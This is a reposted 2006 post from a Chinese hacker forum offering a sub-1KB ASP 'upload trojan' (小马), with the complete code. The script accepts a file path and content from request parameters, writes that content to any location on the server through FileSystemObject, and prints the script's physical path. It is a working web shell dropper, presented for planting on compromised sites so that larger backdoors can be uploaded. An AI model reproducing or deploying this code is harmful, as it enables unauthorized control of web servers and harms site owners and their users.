标题:
[转帖]小于1K的UP小
[打印本页]
作者:
烟圈配咖啡
时间:
2006-11-21 13:29
标题:
[转帖]小于1K的UP小
刚刚无聊改写的小于1K的UP小马~由于有时上传尽量让文件短小~所以改写了1下~ 代码如下： <% dim objFSO %> <% dim fdata %> <% dim objCountFile %> <% on error resume next %> <% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %> <% if Trim(request("syfdpath"))<>"" then %> <% fdata = request("cyfddata") %> <% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %> <% objCountFile.Write fdata %> <% if err =0 then %> <% response.write "ok!" %> <% else %> <% response.write "no!" %> <% end if %> <% err.clear %> <% end if %> <% objCountFile.Close %> <% Set objCountFile=Nothing %> <% Set objFSO = Nothing %> <% Response.write "
" %> <% Response.Write "
" %> <% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %> <% Response.write "
" %> <% Response.write "
" %> <% Response.write "
" %> ------------------------------------------------------------------------------- by badwolf
欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/)
Powered by Discuz! 7.2
